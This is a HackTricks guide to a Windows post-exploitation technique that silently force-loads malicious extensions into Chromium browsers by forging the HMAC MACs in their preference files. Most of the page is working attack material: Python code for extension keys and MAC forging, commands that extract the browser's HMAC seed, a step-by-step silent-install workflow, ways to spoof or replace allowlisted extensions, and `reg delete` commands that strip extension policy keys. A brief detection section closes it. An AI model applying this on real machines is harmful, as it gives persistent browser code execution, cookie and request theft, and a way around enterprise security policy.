Forced Extension Load & Preferences MAC Forgery (Windows)
Reading time: 9 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Visão geral
Técnica stealthy de post-exploitation para force-load arbitrary extensions em navegadores baseados em Chromium no Windows editando as Preferences/Secure Preferences de um usuário e forjando HMACs válidos para os nós modificados. Funciona contra Chrome/Chromium, Edge e Brave. Observado aplicável do Chromium 130 ao 139 na data de publicação. Um simples disk write primitive no profile da vítima é suficiente para persistir uma extensão com privilégios completos sem flags de linha de comando ou prompts do usuário.
Ideia-chave: Chromium armazena o estado por usuário das extensões em um arquivo de preferences JSON e o protege com HMAC-SHA256. Se você calcular MACs válidos com a seed embutida do navegador e escrevê-los ao lado dos nós injetados, o navegador aceita e ativa sua entrada de extensão.
Onde o estado da extensão fica (Windows)
- Non–domain‑joined Chrome profile:
 - %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
 - Domain‑joined Chrome profile:
 - %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
 - Principais nós usados pelo Chromium:
 - extensions.settings.<extension_id> → embedded manifest/metadata para a entrada da extensão
 - protection.macs.extensions.settings.<extension_id> → HMAC para esse blob JSON
 - Chromium ≥134: extensions.ui.developer_mode (boolean) deve estar presente e MAC‑signed para que unpacked extensions sejam ativadas
 
Esquema simplificado (ilustrativo):
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
Notas:
- Edge/Brave mantêm estruturas similares. O valor do protection seed pode diferir (observou‑se que, em alguns builds, Edge/Brave usam uma seed nula/ou outra).
 
IDs de extensão: caminho vs chave e como torná‑los determinísticos
O Chromium deriva o ID da extensão da seguinte forma:
- Extensão empacotada/assinada: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
 - Desempacotada (sem "key" em manifest.json): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
 
Para manter um ID estável entre hosts, incorpore uma chave pública DER fixa em base64 em manifest.json sob o campo "key". O ID será derivado dessa chave em vez do caminho de instalação.
Auxiliar para gerar um ID determinístico e um par de chaves:
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
Adicione a chave pública gerada ao seu manifest.json para bloquear o ID:
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
Forging Preferences integrity MACs (core bypass)
Chromium protege as preferências com HMAC‑SHA256 sobre "path" + valor JSON serializado de cada nó. A HMAC seed está embutida no resources.pak do navegador e ainda era válida até o Chromium 139.
Extraia a seed com GRIT pak_util e localize o seed container (file id 146 nas builds testadas):
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
Calcule os MACs (hexadecimal em maiúsculas) como:
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
Exemplo mínimo em Python:
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
Write the values under:
- protection.macs.extensions.settings.<crx_id> = ext_mac
 - protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
 
Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
Dicas de implementação
- Use exatamente a mesma serialização JSON que o Chromium usa ao calcular os MACs (JSON compacto sem whitespace funciona na prática; ordenar chaves pode ajudar a evitar problemas de ordenação).
 - Garanta que extensions.ui.developer_mode exista e esteja assinada no Chromium ≥134, ou sua entrada unpacked não será ativada.
 
Fluxo de carregamento silencioso ponta a ponta (Windows)
- Gere um ID determinístico e incorpore "key" em manifest.json; prepare uma extensão MV3 unpacked com as permissões desejadas (service worker/content scripts)
 - Crie extensions.settings.
incorporando o manifest e os metadados mínimos de instalação exigidos pelo Chromium (state, path for unpacked, etc.)  - Extraia o seed HMAC de resources.pak (file 146) e calcule dois MACs: um para o nó de settings e outro para extensions.ui.developer_mode (Chromium ≥134)
 - Grave os nós forjados e os MACs nas Preferences/Secure Preferences do perfil alvo; no próximo lançamento sua extensão será auto‑ativada com todos os privilégios declarados
 
Contornando controles empresariais
- Whitelisted extension hash spoofing (ID spoofing)
 
- Instale uma extensão válida da Web Store e anote seu ID
 - Obtenha sua public key (por exemplo, via chrome.runtime.getManifest().key no background/service worker ou buscando/parseando seu .crx)
 - Defina essa key como manifest.key na sua extensão modificada para reproduzir o mesmo ID
 - Registre a entrada nas Preferences e assine os MACs → verificações do ExtensionInstallAllowlist que batem apenas pelo ID são contornadas
 
- 
Extension stomping (ID collision precedence)
 - 
Se uma extensão local unpacked compartilha o mesmo ID de uma extensão instalada pela Web Store, o Chromium prefere a versão unpacked. Isso substitui efetivamente a extensão legítima em chrome://extensions enquanto preserva o ID confiável. Verificado no Chrome e no Edge (ex.: Adobe PDF)
 - 
Neutralizing GPO via HKCU (requires admin)
 - 
Chrome/Edge policies live under HKCU\Software\Policies*
 - 
Com privilégios de admin, delete/modifique as chaves de policy antes de gravar suas entradas para evitar bloqueios:
 
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
Fallback ruidoso: carregamento pela linha de comando
A partir do Chromium ≥137, --load-extension também exige passar:
--disable-features=DisableLoadExtensionCommandLineSwitch
This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier.
Related flags and more cross‑platform tricks are discussed here:
Impacto operacional
Uma vez aceita, a extensão é executada com as permissões declaradas, permitindo acesso ao DOM, interceptação/redirecionamento de requests, acesso a cookie/storage e captura de screenshots — efetivamente execução de código no navegador e persistência durável no perfil do usuário. A implantação remota via SMB ou outros canais é direta porque a ativação é orientada por dados através das Preferences.
Detecção e hardening
- Monitorar processos não‑Chromium escrevendo em Preferences/Secure Preferences, especialmente novos nós sob extensions.settings pareados com entradas protection.macs
 - Alertar sobre alternâncias inesperadas de extensions.ui.developer_mode e sobre entradas de extensão HMAC‑válidas mas não aprovadas
 - Auditar HKCU/HKLM Software\Policies para adulteração; aplicar políticas via gerenciamento de dispositivos/Chrome Browser Cloud Management
 - Preferir forced‑install a partir da store com publishers verificados em vez de allowlists que correspondam apenas ao extension ID
 
Referências
- The Phantom Extension: Backdooring chrome through uncharted pathways
 - pak_util.py (GRIT)
 - SecurePreferencesFile (prior research on HMAC seed)
 - CursedChrome
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks